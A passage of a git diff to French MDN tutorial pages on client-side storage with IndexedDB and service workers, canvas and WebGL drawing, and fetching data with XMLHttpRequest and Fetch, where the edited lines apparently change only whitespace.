tutoriel. -4. Maintenant, ajoutez les gestionnaires d'événement suivants, juste en dessous des lignes précédentes — toujours à l'intérieur de `window.onload` : +4. Maintenant, ajoutez les gestionnaires d'événement suivants, juste en dessous des lignes précédentes — toujours à l'intérieur de `window.onload` : ```js // la base de données n'a pas pu être ouverte avec succès @@ -345,9 +345,9 @@ Voyons maintenant la première chose à faire, mettre en place la base de donné Le gestionnaire d'événement {{domxref("IDBRequest.onerror", "request.onerror")}} s'exécutera si la requête échoue. Cela vous permet de gérer le problème si cela arrive. Dans notre exemple, on affiche simplement un message dans la console JavaScript. - Le gestionnare d'événement {{domxref("IDBRequest.onsuccess", "request.onsuccess")}}, d'autre part, s'exécutera si la requête aboutit, que la base de données a été ouverte avec succès. Lorsque cela arrive, la propriété {{domxref("IDBRequest.result", "request.result")}} contient alors un objet représentant la base de données ouverte, qui nous permet de la manipuler. On stocke cette valeur dans la variable `db` qu'on a crée plus tôt pour pouvoir l'utiliser ensuite. On exécute également une fonction appelée `displayData()`, qu'on définira plus tard — elle affiche les données de la base de données dans le {{HTMLElement("ul")}}. On l'exécute dès à présent pour que les notes en base de données soient affichées dès que la page est chargée. + Le gestionnare d'événement {{domxref("IDBRequest.onsuccess", "request.onsuccess")}}, d'autre part, s'exécutera si la requête aboutit, que la base de données a été ouverte avec succès. Lorsque cela arrive, la propriété {{domxref("IDBRequest.result", "request.result")}} contient alors un objet représentant la base de données ouverte, qui nous permet de la manipuler. On stocke cette valeur dans la variable `db` qu'on a crée plus tôt pour pouvoir l'utiliser ensuite. On exécute également une fonction appelée `displayData()`, qu'on définira plus tard — elle affiche les données de la base de données dans le {{HTMLElement("ul")}}. On l'exécute dès à présent pour que les notes en base de données soient affichées dès que la page est chargée. -5. Pour en finir avec cette section, on ajoute le gestionnaire d'événement qui est probablement le plus important, {{domxref("IDBOpenDBRequest.onupgradeneeded", "request.onupdateneeded")}}. Il est exécuté si la base de données n'a pas déjà été créée ou si on veut ouvrir la base de données avec un numéro de version supérieur à celle qui existe (pour faire une mise à jour). Ajoutez le code suivant en dessous de votre gestionnaire précédent : +5. Pour en finir avec cette section, on ajoute le gestionnaire d'événement qui est probablement le plus important, {{domxref("IDBOpenDBRequest.onupgradeneeded", "request.onupdateneeded")}}. Il est exécuté si la base de données n'a pas déjà été créée ou si on veut ouvrir la base de données avec un numéro de version supérieur à celle qui existe (pour faire une mise à jour). Ajoutez le code suivant en dessous de votre gestionnaire précédent : ```js // Spécifie les tables de la BDD si ce n'est pas déjà pas fait @@ -369,7 +369,7 @@ Voyons maintenant la première chose à faire, mettre en place la base de donné C'est ici qu'on définit le schéma (la structure) de notre base de données; c'est à dire l'ensemble des champs (ou colonnes) qu'il contient. - 1. On récupère une référence à la base de données existante depuis `e.target.result` (la propriété `result` de la cible de l'événement, c'est à dire l'objet `request`). C'est l'équivalent de la ligne `db = request.result;` du gestionnaire d'événement `onsuccess`, mais on doit le faire de cette manière ici puisque le gestionnaire d'événement `onupgradeneeded` est exécuté avant `onsuccess` — la valeur de `db` n'est pas encore disponible. + 1. On récupère une référence à la base de données existante depuis `e.target.result` (la propriété `result` de la cible de l'événement, c'est à dire l'objet `request`). C'est l'équivalent de la ligne `db = request.result;` du gestionnaire d'événement `onsuccess`, mais on doit le faire de cette manière ici puisque le gestionnaire d'événement `onupgradeneeded` est exécuté avant `onsuccess` — la valeur de `db` n'est pas encore disponible. 2. Ensuite, on utilise {{domxref("IDBDatabase.createObjectStore()")}} pour créer un object store (un container pour une collection d'objets) à l'intérieur de notre base de données. C'est l'équivalent d'une table dans un système de base de données traditionnel. On lui a donné le nom `notes`, et un champs `id` avec `autoIncrement` — pour chaque nouvelle entrée dans cette table, une valeur auto-incrementée sera attributée au champ `id` sans que le développeur n'ait à le définir. Le champ `id` est la clé de l'object store: il sera utilisé pour identifier de manière unique les entrées, permettant de les mettre à jour ou les supprimer. 3. On crée deux autres index (champs) en utilisant la méthode {{domxref("IDBObjectStore.createIndex()")}}: `title` (qui contiendra le titre de chaque note), et `body` (qui contiendra la description de chaque note). @@ -443,7 +443,7 @@ Maintenant, voyons comment ajouter des entrées dans la base de données. On le 5. On ajoute un nouvel enregistrement à la base de données en utilisant {{domxref("IDBObjectStore.add()")}}. Cela crée une requête, sur le même principe qu'on a déjà vu. 6. On ajoute des gestionnaires d'événement à `request` et `transaction` pour exécuter du code aux points importants de leur cycle de vie : - - Quand la requête a réussit, on efface les champs du formulaire — pour pouvoir ajouter une nouvelle note + - Quand la requête a réussit, on efface les champs du formulaire — pour pouvoir ajouter une nouvelle note - Quand la transaction est terminé, on réexécute la fonction `displayData()` — pour mettre à jour l'affichage de notes sur la page. ### Afficher les données @@ -515,7 +515,7 @@ Encore une fois, pas à pas : 2. Ensuite, on récupère une référence à l'object store `notes` en utilisant {{domxref("IDBDatabase.transaction()")}} et {{domxref("IDBTransaction.objectStore()")}} comme nous l'avons fait dans `addData()`, mais en chaînant ces deux instructions en une seule ligne. 3. L'étape suivante consiste à utiliser la méthode {{domxref("IDBObjectStore.openCursor()")}} pour ouvrir un curseur — une construction qui peut être utilisée pour itérer sur les entrées d'un object store. On chaîne un gestionnaire d'événement `onsuccess` à la fin de cette opération pour rendre le code plus concis — dès que le curseur est récupéré, le gestionnaire est exécuté. 4. On récupère une référence au curseur lui-même (un objet {{domxref("IDBCursor")}}) avec `cursor = e.target.result`. -5. Ensuite, on vérifie si le curseur contient une entrée de l'object store (`if(cursor){ ... }`) — si c'est le cas, on crée des éléments du DOM, les remplit avec les données de l'entrée, et les insère dans la page (à l'intérieur de l'élément `<ul>`). On inclut un bouton de suppression, qui, quand il est cliqué, supprime l'entrée en cours en appelant la fonction `deleteItem()` — que nous allons voir dans la section suivante. +5. Ensuite, on vérifie si le curseur contient une entrée de l'object store (`if(cursor){ ... }`) — si c'est le cas, on crée des éléments du DOM, les remplit avec les données de l'entrée, et les insère dans la page (à l'intérieur de l'élément `<ul>`). On inclut un bouton de suppression, qui, quand il est cliqué, supprime l'entrée en cours en appelant la fonction `deleteItem()` — que nous allons voir dans la section suivante. 6. À la fin du bloc `if`, on utilise la méthode {{domxref("IDBCursor.continue()")}} pour avancer le curseur à la prochaine entrée dans l'object store et réexécuter le bloc. S'il reste une autre entrée sur laquelle itérer, elle sera à son tour insérée dans la page, `continue()` sera exécuté à nouveau, et ainsi de suite. 7. Quand il n'y a plus d'enregistrements à parcourir, le curseur retourne `undefined`, et le bloc `else` sera donc exécuté à la place. Ce bloc vérifie si des notes ont été insérées dans le `<ul>` — si ce n'est pas le cas, on insère un message indiquant qu'il n'existe aucune note. @@ -612,7 +612,7 @@ Passons en revue les parties les plus intéressantes de l'exemple. Nous ne regar 3. Le bout de code qui suit est extrait de la fonction `fetchVideoFromNetwork()` — ici, on récupère les versions MP4 et WebM de la vidéos en utilisant deux requêtes {{domxref("fetch()", "WindowOrWorkerGlobalScope.fetch()")}} distinctes. On utilise ensuite la méthode {{domxref("blob()", "Body.blob()")}} pour extraire la réponse sous forme de blob, ce qui nous donne une représentation objet de la vidéo que l'on peut stocker et afficher plus tard. - Il reste cependant un problème — ces deux requêtes sont asynchrones et ont veut afficher/stocker la vidéo uniquement lorsque les deux promesses sont résolues. Heureusement, il existe une méthode native qui gère ce problème — {{jsxref("Promise.all()")}}. Elle prend un argument — la liste de toutes les promesses qui doivent être attendues — et retourne elle-même une promesse. Quand toutes les promesses sont résolues, alors la promesse de la méthode `all()` est résolue, avec pour valeur un tableau contenant toutes les valeurs individuelles retournées par les promesses. + Il reste cependant un problème — ces deux requêtes sont asynchrones et ont veut afficher/stocker la vidéo uniquement lorsque les deux promesses sont résolues. Heureusement, il existe une méthode native qui gère ce problème — {{jsxref("Promise.all()")}}. Elle prend un argument — la liste de toutes les promesses qui doivent être attendues — et retourne elle-même une promesse. Quand toutes les promesses sont résolues, alors la promesse de la méthode `all()` est résolue, avec pour valeur un tableau contenant toutes les valeurs individuelles retournées par les promesses. À l'intérieur du bloc `all()`, vous pouvez voir qu'on appelle la fonction `displayVideo()`, comme on l'a fait précédemment, pour afficher les vidéos dans l'interface utilisateur, puis la fonction `storeVideo()` pour stocker ces vidéos dans la base de données. @@ -654,7 +654,7 @@ Passons en revue les parties les plus intéressantes de l'exemple. Nous ne regar }; ``` -5. Enfin, `displayVideo()` crée les éléments DOM nécessaires pour insérer la vidéo dans l'interface utilisateur, puis les ajoute à la page. Les parties les plus intéressantes sont copiées ci-dessous — pour afficher notre blob vidéo dans un élément `<video>`, on doit créer un objet URL (URL interne qui pointe vers un blob en mémoire) en utilisant la méthode {{domxref("URL.createObjectURL()")}}. Une fois que c'est fait, on peut assigner l'URL comme valeur d'attribut `src` de l'élément {{htmlelement("source")}}, et ça marche. +5. Enfin, `displayVideo()` crée les éléments DOM nécessaires pour insérer la vidéo dans l'interface utilisateur, puis les ajoute à la page. Les parties les plus intéressantes sont copiées ci-dessous — pour afficher notre blob vidéo dans un élément `<video>`, on doit créer un objet URL (URL interne qui pointe vers un blob en mémoire) en utilisant la méthode {{domxref("URL.createObjectURL()")}}. Une fois que c'est fait, on peut assigner l'URL comme valeur d'attribut `src` de l'élément {{htmlelement("source")}}, et ça marche. ```js function displayVideo(mp4Blob, webmBlob, title) { @@ -703,7 +703,7 @@ Voir [IndexedDB video store avec service worker en direct](https://mdn.github.io ### Enregistrer le service worker -La première chose à noter est qu'il a un peu plus de code placé dans le fichier JavaScript principal (voir [index.js](https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js#L144)): +La première chose à noter est qu'il a un peu plus de code placé dans le fichier JavaScript principal (voir [index.js](https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js#L144)): ```js // Enregistre un service worker pour contrôler le site hors-ligne @@ -754,7 +754,7 @@ C'est tout pour l'instant, l'installation est terminée. Avec le service worker enregistré et installé pour notre page HTML, et les ressources pertinentes ajoutées au cache, on est presque prêts. Il n'y a plus qu'une chose à faire: écrire du code pour répondre aux prochaines requêtes réseau. -C'est ce que fait le second bloc de code dans `sw.js` : +C'est ce que fait le second bloc de code dans `sw.js` : ```js self.addEventListener('fetch', function(e) { diff --git a/files/fr/learn/javascript/client-side_web_apis/drawing_graphics/index.md b/files/fr/learn/javascript/client-side_web_apis/drawing_graphics/index.md index 0c6e51987c..68dde76dcc 100644 --- a/files/fr/learn/javascript/client-side_web_apis/drawing_graphics/index.md +++ b/files/fr/learn/javascript/client-side_web_apis/drawing_graphics/index.md @@ -61,7 +61,7 @@ Autour de 2006-2007, Mozilla a commencé à travailler sur une implémentation e {{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/threejs-cube/index.html", '100%', 500)}} -Cet article se concentrera principalement sur les canvas 2D, car le code WebGL brut est très complexe. Nous montrerons cependant comment utiliser une bibliothèque WebGL pour créer une scène 3D plus facilement, et vous pourrez par la suite suivre le tutoriel [WebGL](/fr/Apprendre/WebGL), qui couvre le code WebGL brut. +Cet article se concentrera principalement sur les canvas 2D, car le code WebGL brut est très complexe. Nous montrerons cependant comment utiliser une bibliothèque WebGL pour créer une scène 3D plus facilement, et vous pourrez par la suite suivre le tutoriel [WebGL](/fr/Apprendre/WebGL), qui couvre le code WebGL brut. > **Note :** Canvas est très bien pris en charge parmi les différents navigateurs, à l'exception de IE 8 (et inférieur) pour les canvas 2D, et IE 11 (et inférieur) pour WebGL. @@ -185,7 +185,7 @@ Commençons avec quelques rectangles simples. Sauvegardez et rafraichissez, et vous verrez un nouveau rectangle. Cela soulève un point important: les opérations graphiques comme dessiner des rectangles, lignes, et autres, sont executées dans l'ordre dans lequel elle apparaissent dans le code. Pensez-y comme peindre un mur, chaque couche de peinture s'ajoute par dessus les anciennes et peuvent même mettre cacher ce qu'il y a en dessous. Vous ne pouvez rien y faire, il faut donc réfléchir soigneusement à l'ordre dans lequel vous allez dessiner les éléments graphiques. -4. Notez que vous pouvez dessiner des éléments graphiques semi-transparents en spécifiant une couleur semi-transparente, par exemple en utilisant `rgba()`. La valeur `a` définit ce qu'on appelle le "canal alpha", ou la quantité de transparence de la couleur. Plus la valeur de `a` est élevée, plus la couleur est opaque. Ajoutez ce qui suit à votre code: +4. Notez que vous pouvez dessiner des éléments graphiques semi-transparents en spécifiant une couleur semi-transparente, par exemple en utilisant `rgba()`. La valeur `a` définit ce qu'on appelle le "canal alpha", ou la quantité de transparence de la couleur. Plus la valeur de `a` est élevée, plus la couleur est opaque. Ajoutez ce qui suit à votre code: ```js ctx.fillStyle = 'rgba(255, 0, 255, 0.75)'; @@ -330,7 +330,7 @@ Maintenant, voyons comment dessiner un cercle sur le canvas. Pour ce faire, on u Le motif ici est très similaire, a deux différences près: - - Nous avons mis le dernier paramètre de `arc()` à `true`, ce qui signifie que l'arc est tracé dans le sens inverse des aiguilles d'une montre. Donc si notre arc commence à -45 degrés et fini à 45 degrés, nous dessinons un arc de 270 degrés. Si vous changez `true` à `false` et ré-exécutez le code, seule une portion de 90 degrés sera dessinée. + - Nous avons mis le dernier paramètre de `arc()` à `true`, ce qui signifie que l'arc est tracé dans le sens inverse des aiguilles d'une montre. Donc si notre arc commence à -45 degrés et fini à 45 degrés, nous dessinons un arc de 270 degrés. Si vous changez `true` à `false` et ré-exécutez le code, seule une portion de 90 degrés sera dessinée. - Avant d'appeler `fill()`, nous ajoutons une ligne vers le centre du cercle. Nous obtenons une découpe de style Pac-Man plutôt sympa. Si vous supprimiez cette ligne (essayez!) et ré-exécutiez le code, vous auriez juste un cercle dont le bout a été coupé — entre le début et la fin de l'arc. Cela illuste un autre point important du canvas: si vous essayez de remplir une forme incomplète (qui n'est pas fermée), le navigateur ajoute une ligne droite entre le début et la fin du path et le remplit. C'est tout pour le moment; votre exemple final devrait ressembler à ceci: @@ -352,7 +352,7 @@ Le texte peut être avec deux méthodes: Ces deux méthodes prennent trois paramètres: la chaîne de caractères à écrire et les coordonnées X et Y du coin supérieur gauche de la zone de texte (**text box**) — littéralement, la zone entourant le texte que vous écrivez. -Il existe également un certain nombre de proprétés pour contrôler le rendu du texte, comme {{domxref("CanvasRenderingContext2D.font", "font")}}, qui permer de spécifier la police d'écriture, la taille, etc — elle accepte la même syntaxe que la propriété CSS {{cssxref("font")}}. +Il existe également un certain nombre de proprétés pour contrôler le rendu du texte, comme {{domxref("CanvasRenderingContext2D.font", "font")}}, qui permer de spécifier la police d'écriture, la taille, etc — elle accepte la même syntaxe que la propriété CSS {{cssxref("font")}}. Essayez d'ajouter le bloc suivant au bas de votre javaScript: @@ -390,7 +390,7 @@ Il est possible d'afficher des images externes sur le canvas. Ce peut être des image.src = 'firefox.png'; ``` - Ici, nous créons un nouvel objet {{domxref("HTMLImageElement")}} en utilisant le constructeur {{domxref("HTMLImageElement.Image()", "Image()")}}. (L'objet retourné est le même type que celui retourné lorsque vous récupérez une référence vers un élément {{htmlelement("img")}} existant). Nous définissons son attribut {{htmlattrxref("src", "img")}} à notre image du logo Firefox. À ce stade, le navigateur commence à charger l'image. + Ici, nous créons un nouvel objet {{domxref("HTMLImageElement")}} en utilisant le constructeur {{domxref("HTMLImageElement.Image()", "Image()")}}. (L'objet retourné est le même type que celui retourné lorsque vous récupérez une référence vers un élément {{htmlelement("img")}} existant). Nous définissons son attribut {{htmlattrxref("src", "img")}} à notre image du logo Firefox. À ce stade, le navigateur commence à charger l'image. 3. Nous pourrions essayer maintenant d'inclure l'image en utilisant `drawImage()`, mais nous devons nous assurer que le fichier image ait été chargé en premier, faute de quoi le code échouera. Nous pouvons y parvenir en utilisant le gestionnaire d'événement `onload`, qui ne sera appelé que lorsque l'image aura fini de charger. Ajoutez le bloc suivant à la suite du précédent: @@ -506,7 +506,7 @@ C'est tout! L'exemple final devrait ressemble à ça: - Dessinez des rectangles ou des arcs au lieu des triangles, ou même des images externes. - Jouez avec les valeurs de `length` et `moveOffset`. -- Utilisez des nombres aléatoires — grâce à la fonction `rand()` que nous avons inclue mais que nous n'avons pas utilisée. +- Utilisez des nombres aléatoires — grâce à la fonction `rand()` que nous avons inclue mais que nous n'avons pas utilisée. > **Note :** Le code terminé est disponible sur GitHub, [6_canvas_for_loop.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/loops_animation/6_canvas_for_loop.html). @@ -546,7 +546,7 @@ loop(); Nous lançons la fonction `loop()` une fois pour commencer le cycle et dessiner la première image de l'animation. La fonction `loop()` s'occupe ensuite d'appeler `requestAnimationFrame(loop)` pour afficher la prochaine image de l'animation, et ce continuellement. -Notez que sur chaque image, nous effaçons complètement le canvas et redessinons tout. Nous créons de nouvelles balles pour chaque image — au maximum 25 — puis, pour chaque balle, la dessinons, mettons à jour sa position, et vérifions si elle est en collision avec une autre balle. Une fois que vous avez dessiné quelque chose sur un canvas, il n'y a aucun moyen pour manipuler cet élément graphique individuellement comme vous pouvez le faire avec les élément DOM. Vous ne pouvez pas déplacer les balles sur le canvas parce qu'une fois dessinée, une balle n'est plus une balle mais juste des pixels sur un canvas. Au lieu de ça, vous devez effacer et redessiner, soit en effaçant et redessinant absolutement tout le canvas, soit en ayant du code qui sait exactement quelles parties doivent être effacées, et qui efface et redessine uniquement la zone minimale nécessaire. +Notez que sur chaque image, nous effaçons complètement le canvas et redessinons tout. Nous créons de nouvelles balles pour chaque image — au maximum 25 — puis, pour chaque balle, la dessinons, mettons à jour sa position, et vérifions si elle est en collision avec une autre balle. Une fois que vous avez dessiné quelque chose sur un canvas, il n'y a aucun moyen pour manipuler cet élément graphique individuellement comme vous pouvez le faire avec les élément DOM. Vous ne pouvez pas déplacer les balles sur le canvas parce qu'une fois dessinée, une balle n'est plus une balle mais juste des pixels sur un canvas. Au lieu de ça, vous devez effacer et redessiner, soit en effaçant et redessinant absolutement tout le canvas, soit en ayant du code qui sait exactement quelles parties doivent être effacées, et qui efface et redessine uniquement la zone minimale nécessaire. Optimiser l'animation graphique est une spécialité entière de programmation, avec beaucoup de techniques ingénieuses disponibles. Mais celles-ci sont au-delà de ce dont nous avons besoin pour notre exemple! @@ -764,7 +764,7 @@ Regardons un exemple simple pour créer quelque chose avec une bibliothèque Web Nous définissons également la position de la caméra à 5 unités de distance de l'axe Z, qui, comme en CSS, est hors de l'écran vers vous, le spectateur. -6. Le troisième ingrédient essentiel est un moteur de rendu. C'est un objet qui restitue une scène donnée, vu à travers une caméra donnée. Nous allons en créer dès à présent en utilisant le constructeur [`WebGLRenderer()`](https://threejs.org/docs/index.html#api/renderers/WebGLRenderer) — mais nous ne l'utiliserons que plus tard. Ajoutez les lignes suivantes à la suite de votre JavaScript: +6. Le troisième ingrédient essentiel est un moteur de rendu. C'est un objet qui restitue une scène donnée, vu à travers une caméra donnée. Nous allons en créer dès à présent en utilisant le constructeur [`WebGLRenderer()`](https://threejs.org/docs/index.html#api/renderers/WebGLRenderer) — mais nous ne l'utiliserons que plus tard. Ajoutez les lignes suivantes à la suite de votre JavaScript: ```js var renderer = new THREE.WebGLRenderer(); diff --git a/files/fr/learn/javascript/client-side_web_apis/fetching_data/index.md b/files/fr/learn/javascript/client-side_web_apis/fetching_data/index.md index 4cc4cf072c..1c4e52830e 100644 --- a/files/fr/learn/javascript/client-side_web_apis/fetching_data/index.md +++ b/files/fr/learn/javascript/client-side_web_apis/fetching_data/index.md @@ -16,7 +16,7 @@ original_slug: Apprendre/JavaScript/Client-side_web_APIs/Fetching_data --- {{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs")}} -Une autre tâche courante dans les sites et applications web modernes est de récupérer des données à partir du serveur pour mettre à jour des sections de la page web sans la recharger entièrement. Ce qui pourrait paraître comme un petit détail a, en vérité, eu un impact énorme sur les performances et le comportement des sites. Dans cet article, nous allons expliquer le concept et les technologies qui rendent cela possible, tels que XMLHttpRequest et l'API Fetch. +Une autre tâche courante dans les sites et applications web modernes est de récupérer des données à partir du serveur pour mettre à jour des sections de la page web sans la recharger entièrement. Ce qui pourrait paraître comme un petit détail a, en vérité, eu un impact énorme sur les performances et le comportement des sites. Dans cet article, nous allons expliquer le concept et les technologies qui rendent cela possible, tels que XMLHttpRequest et l'API Fetch. <table class="standard-table"> <tbody> @@ -51,19 +51,19 @@ Une autre tâche courante dans les sites et applications web modernes est de ré  -Le problème avec ce modèle c'est qu'à chaque fois que vous voulez mettre à jour une partie de la page, par exemple pour afficher la page suivante d'une liste de produits, vous devez recharger toute la page. Ce surcoût est tout à fait inutile et résulte en une mauvaise expérience utilisateur, particulièrement pour les pages qui sont lourdes, complexes et du coup longues à charger. +Le problème avec ce modèle c'est qu'à chaque fois que vous voulez mettre à jour une partie de la page, par exemple pour afficher la page suivante d'une liste de produits, vous devez recharger toute la page. Ce surcoût est tout à fait inutile et résulte en une mauvaise expérience utilisateur, particulièrement pour les pages qui sont lourdes, complexes et du coup longues à charger. ### L'arrivée d'Ajax -Pour traiter ce problème, des technologies ont été élaborées qui permettent de récupérer à la demande de petites portions de données (comme du [HTML](/fr/docs/Web/HTML), {{glossary("XML")}}, [JSON](/fr/docs/Learn/JavaScript/Objects/JSON), ou texte brut) et de les afficher dans la page web. +Pour traiter ce problème, des technologies ont été élaborées qui permettent de récupérer à la demande de petites portions de données (comme du [HTML](/fr/docs/Web/HTML), {{glossary("XML")}}, [JSON](/fr/docs/Learn/JavaScript/Objects/JSON), ou texte brut) et de les afficher dans la page web. -Nous avons pour cela l'API {{domxref("XMLHttpRequest")}} à notre disposition ou — plus récemment — l'[API Fetch](/fr/docs/Web/API/Fetch_API). Elles permettent de réaliser des requêtes [HTTP](/fr/docs/Web/HTTP) pour récupérer des ressources spécifiques disponibles sur un serveur et de formater les données retournées selon les besoins avant l'affichage dans la page. +Nous avons pour cela l'API {{domxref("XMLHttpRequest")}} à notre disposition ou — plus récemment — l'[API Fetch](/fr/docs/Web/API/Fetch_API). Elles permettent de réaliser des requêtes [HTTP](/fr/docs/Web/HTTP) pour récupérer des ressources spécifiques disponibles sur un serveur et de formater les données retournées selon les besoins avant l'affichage dans la page. > **Note :** Dans les premiers temps, cette technique était appelée "Asynchronous JavaScript and XML" (JavaScript asychrone et XML), dit AJAX, parce qu'elle utilisait {{domxref("XMLHttpRequest")}} pour requêter des données XML. De nos jours, c'est rarement le cas; la plupart du temps, on utilise `XMLHttpRequest` ou Fetch pour requêter des données JSON. Quoi qu'il en soit, le procédé reste le même et le terme "Ajax" est resté pour décrire cette technique.  -Le modèle Ajax implique une API web comme proxy pour requêter les données plus intelligemment que simplement rafraîchir la page à chaque fois. Voyons plutôt l'impact que cela a : +Le modèle Ajax implique une API web comme proxy pour requêter les données plus intelligemment que simplement rafraîchir la page à chaque fois. Voyons plutôt l'impact que cela a : 1. Allez sur un site riche en information de votre choix, comme Amazon, YouTube, CNN... 2. Cherchez quelque chose dans la barre de recherche, comme un nouveau produit. Le contenu principal va changer, mais la plupart de ce qui l'entoure reste statique, comme l'entête, le pied de page, le menu de navigation, etc. @@ -73,22 +73,22 @@ C'est une bonne chose puisque : - La mise à jour de la page est beaucoup plus rapide et vous n'avez pas à attendre que la page se rafraîchisse, si bien que le site paraît être plus rapide et plus réactif. - Moins de données doivent être téléchargées pour mettre à jour la page, et donc moins de bande passante est utilisée. Cela ne fait peut-être pas une grande différence sur un ordinateur de bureau, mais cela peut devenir un problème majeur sur mobile ou dans les pays en développement, qui n'ont pas partout un service Internet ultra-rapide. -Notez que pour accélerer les choses encore davantage, certains sites stockent les ressources et données chez le client lors de sa première visite, si bien que les visites suivantes, les fichiers locaux sont utilisés et non re-téléchargés du serveur. Le contenu n'est rechargé que lorsqu'il a été mis à jour sur le serveur. +Notez que pour accélerer les choses encore davantage, certains sites stockent les ressources et données chez le client lors de sa première visite, si bien que les visites suivantes, les fichiers locaux sont utilisés et non re-téléchargés du serveur. Le contenu n'est rechargé que lorsqu'il a été mis à jour sur le serveur.  ## Une requête Ajax basique -Voyons maintenant comment ces requêtes sont gérées, en utilisant soit {{domxref("XMLHttpRequest")}} soit [Fetch](/fr/docs/Web/API/Fetch_API). Pour ces exemples, nous allons requêter les données de différents fichiers texte et les utiliserons pour remplir une zone de contenu. +Voyons maintenant comment ces requêtes sont gérées, en utilisant soit {{domxref("XMLHttpRequest")}} soit [Fetch](/fr/docs/Web/API/Fetch_API). Pour ces exemples, nous allons requêter les données de différents fichiers texte et les utiliserons pour remplir une zone de contenu. -Ces fichiers agiront comme une fausse base de données ; dans une vraie application, il est plus probable que vous utiliseriez un langage côté serveur comme PHP, Python, ou Node pour récupérer les données à partir d'une véritable base de données. En revanche, nous voulons ici garder les choses simples ; nous allons donc nous concentrer sur le côté client. +Ces fichiers agiront comme une fausse base de données ; dans une vraie application, il est plus probable que vous utiliseriez un langage côté serveur comme PHP, Python, ou Node pour récupérer les données à partir d'une véritable base de données. En revanche, nous voulons ici garder les choses simples ; nous allons donc nous concentrer sur le côté client. ### XMLHttpRequest -`XMLHttpRequest` (qui est fréquemment abrégé XHR) est une technologie assez vieille maintenant — elle a été inventée par Microsoft dans les années 90 et a été standardisée dans les autres navigateurs il y a longtemps. +`XMLHttpRequest` (qui est fréquemment abrégé XHR) est une technologie assez vieille maintenant — elle a été inventée par Microsoft dans les années 90 et a été standardisée dans les autres navigateurs il y a longtemps. 1. Pour commencer cet exemple, faites une copie locale de [ajax-start.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/ajax-start.html) et des quatre fichiers texte — [verse1.txt](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt), [verse2.txt](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt), [verse3.txt](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt), et [verse4.txt](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt) — dans un nouveau répertoire sur votre ordinateur. Dans cet exemple, nous allons charger le verset d'un poème (que vous pourriez bien reconnaître), quand il est sélectionné dans le menu déroulant, en utilisant XHR. -2. À l'intérieur de l'élément {{htmlelement("script")}}, ajoutez le code qui suit. Il stocke une référence aux éléments {{htmlelement("select")}} et {{htmlelement("pre")}} dans des variables et définit un gestionnaire d'événement {{domxref("GlobalEventHandlers.onchange","onchange")}}, pour que, quand la valeur du menu déroulant est changée, la valeur sélectionnée soit passée comme paramètre à la fonction `updateDisplay()`. +2. À l'intérieur de l'élément {{htmlelement("script")}}, ajoutez le code qui suit. Il stocke une référence aux éléments {{htmlelement("select")}} et {{htmlelement("pre")}} dans des variables et définit un gestionnaire d'événement {{domxref("GlobalEventHandlers.onchange","onchange")}}, pour que, quand la valeur du menu déroulant est changée, la valeur sélectionnée soit passée comme paramètre à la fonction `updateDisplay()`. ```js var verseChoose = document.querySelector('select'); @@ -110,7 +110,7 @@ Ces fichiers agiront comme une fausse base de données ; dans une vraie applicat 4. Nous allons commencer notre fonction en construisant une URL relative qui pointe vers le fichier texte que nous voulons charger, nous en aurons besoin plus tard. La valeur de l'élément {{htmlelement("select")}} à tout instant est la même que l'élément {{htmlelement("option")}} sélectionné (c'est à dire le texte de l'élément sélectionné, ou son attribut `value` s'il est spécifié) — par exemple "Verse 1". Le fichier correspondant est "verse1.txt" et il est situé dans le même répertoire que le fichier HTML, le nom du fichier seul suffira donc. - Les serveurs web sont généralement sensibles à la casse, le nom de fichier n'a pas d'espace et a une extension de fichier. Pour convertir "Verse 1" en "verse1.txt" nous allons convertir le "V" en minuscles avec {{jsxref("String.toLowerCase", "toLowerCase()")}}, supprimer l'espace avec {{jsxref("String.replace", "replace()")}} et ajouter ".txt" à la fin avec une simple [concaténation de chaînes](/fr/docs/Learn/JavaScript/First_steps/Strings#Concaténation_de_chaînes). Ajoutez les lignes suivantes à l'intérieur de la fonction `updateDisplay()` : + Les serveurs web sont généralement sensibles à la casse, le nom de fichier n'a pas d'espace et a une extension de fichier. Pour convertir "Verse 1" en "verse1.txt" nous allons convertir le "V" en minuscles avec {{jsxref("String.toLowerCase", "toLowerCase()")}}, supprimer l'espace avec {{jsxref("String.replace", "replace()")}} et ajouter ".txt" à la fin avec une simple [concaténation de chaînes](/fr/docs/Learn/JavaScript/First_steps/Strings#Concaténation_de_chaînes). Ajoutez les lignes suivantes à l'intérieur de la fonction `updateDisplay()` : ```js verse = verse.replace(" ", ""); @@ -138,7 +138,7 @@ Ces fichiers agiront comme une fausse base de données ; dans une vraie applicat 8. Récupérer une ressource sur le réseau est une opération {{glossary("asynchronous","asynchrone")}}, ce qui signifie que vous devez attendre que cette opération se termine (par exemple, que la ressource soit renvoyée) avant de pouvoir récupérer la réponse — sans quoi une erreur est levée. XHR permet d'exécuter du code lorsque la réponse est reçue grâce au gestionnaire d'événement {{domxref("XMLHttpRequest.onload", "onload")}} — quand l'événement {{event("load")}} est déclenché. Une fois que la réponse a été reçue, alors la réponse est accessible via la propriété `response` de l'objet XHR utilisé. - Ajoutez le bloc de code qui suit toujours au bas de la fonction `updateDisplay()`. Vous verrez qu'à l'intérieur du gestionnaire d'événément `onload`, nous assignons la propriété [`textContent`](/fr/docs/Web/API/Node/textContent) de `poemDisplay` (l'élément {{htmlelement("pre")}}) à la valeur de la propriété {{domxref("XMLHttpRequest.response", "request.response")}}. + Ajoutez le bloc de code qui suit toujours au bas de la fonction `updateDisplay()`. Vous verrez qu'à l'intérieur du gestionnaire d'événément `onload`, nous assignons la propriété [`textContent`](/fr/docs/Web/API/Node/textContent) de `poemDisplay` (l'élément {{htmlelement("pre")}}) à la valeur de la propriété {{domxref("XMLHttpRequest.response", "request.response")}}. ```js request.onload = function() { @@ -146,7 +146,7 @@ Ces fichiers agiront comme 